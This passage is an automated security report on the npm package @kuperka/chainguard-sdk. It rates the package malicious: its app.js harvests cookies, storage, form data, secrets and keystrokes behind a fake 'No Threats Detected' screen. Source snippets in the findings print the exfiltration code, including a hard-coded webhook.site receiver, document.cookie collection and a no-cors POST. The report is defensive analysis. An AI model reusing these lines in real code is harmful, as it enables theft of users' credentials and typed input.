It also overlays a misleading security result UI. - **Trigger:** A consumer loads app.js in a browser and calls window.\_\_VEIL\_\_.init(). - **Impact:** Disclosure of cookies, tokens, API keys, form data, wallet identifiers, and typed input. - **Evidence paths:** package.json, app.js - **Review source:** ai\_review - **Reviewed:** 2026-08-08T15:56:02.085Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Browser credential harvesting, keylogging, and webhook exfiltration. - **Attack narrative:** app.js defines a browser initializer that collects cookies, storage, form fields, detected secrets, wallet metadata, and intercepted request data. It adds a keydown listener for inputs and exfiltrates records to a fixed webhook.site receiver using image-query requests or no-cors POST. Its fabricated ChainGuard interface claims no threats were detected, concealing the harvesting. - **Rationale:** The source contains a concrete credential- and input-exfiltration chain to a hard-coded external receiver. Lack of an install hook and explicit init call reduce automatic reachability but do not make this capability benign. - **Files touched:** package.json, app.js - **Network endpoints:** https://webhook.site/b9155136-5f6d-4084-b19e-33c694a44616 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** app.js collects cookies, local/session storage, and form values., app.js scans page HTML and meta tags for API keys, tokens, and CSRF/auth data., app.js installs an input keylogger that sends captured text., app.js exfiltrates collected data to a fixed webhook.site URL via Image or POST., app.js presents a deceptive ChainGuard UI reporting “No Threats Detected”. - **Evidence against:** package.json has no lifecycle hooks., app.js exposes init without invoking it automatically on import. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. Critical: Hardcoded Runtime Data Exfiltration - **Category:** Source - **Confidence:** 94.0% - **Path:** app.js - **Public source:** [View source]() Source sends credentials or rich application records to a package-controlled external receiver enabled by default. Public source snippet (untrusted): ```javascript Browser cookie sent to a fixed external endpoint in app.js: var HOOK_URL = 'https://webhook.site/b9155136-5f6d-4084-b19e-33c694a44616'; // <-- ВСТАВЬ СЮДА СВОЮ ССЫЛКУ cookies: document.cookie, ``` ### 4. High: Trigger Reachable External Post Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** app.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches a fixed external POST callback. Public source snippet (untrusted): ```javascript Trigger-reachable fixed external POST callback chain: manifest.main -> app.js // Для теста мы используем Webhook. WebRTC (DNS) отключён, так как webhook не слушает DNS. var HOOK_URL = 'https://webhook.site/b9155136-5f6d-4084-b19e-33c694a44616'; // <-- ВСТАВЬ СЮДА СВОЮ ССЫЛКУ var e = b64(JSON.stringify(d)); fetch(u, { method: 'POST', mode: 'no-cors', body: e }).catch(function(){}); ``` ### 5. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 6. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 7. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @kuperka/chainguard-sdk - **Ecosystem:** npm - **Version:** 1.0.1 - **License:** ISC - **Version published:** 2026-08-08T15:32:40.255Z - **Package first seen:** 2026-08-08T15:56:02.085Z - **Package last seen:** 2026-08-10T13:20:05.956Z - **Known versions:** 3 - **Latest version:** 1.0.3 - **Appeal under review:** No - **Artifact files:** 2 - **Artifact unpacked size:** 10,427 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]()
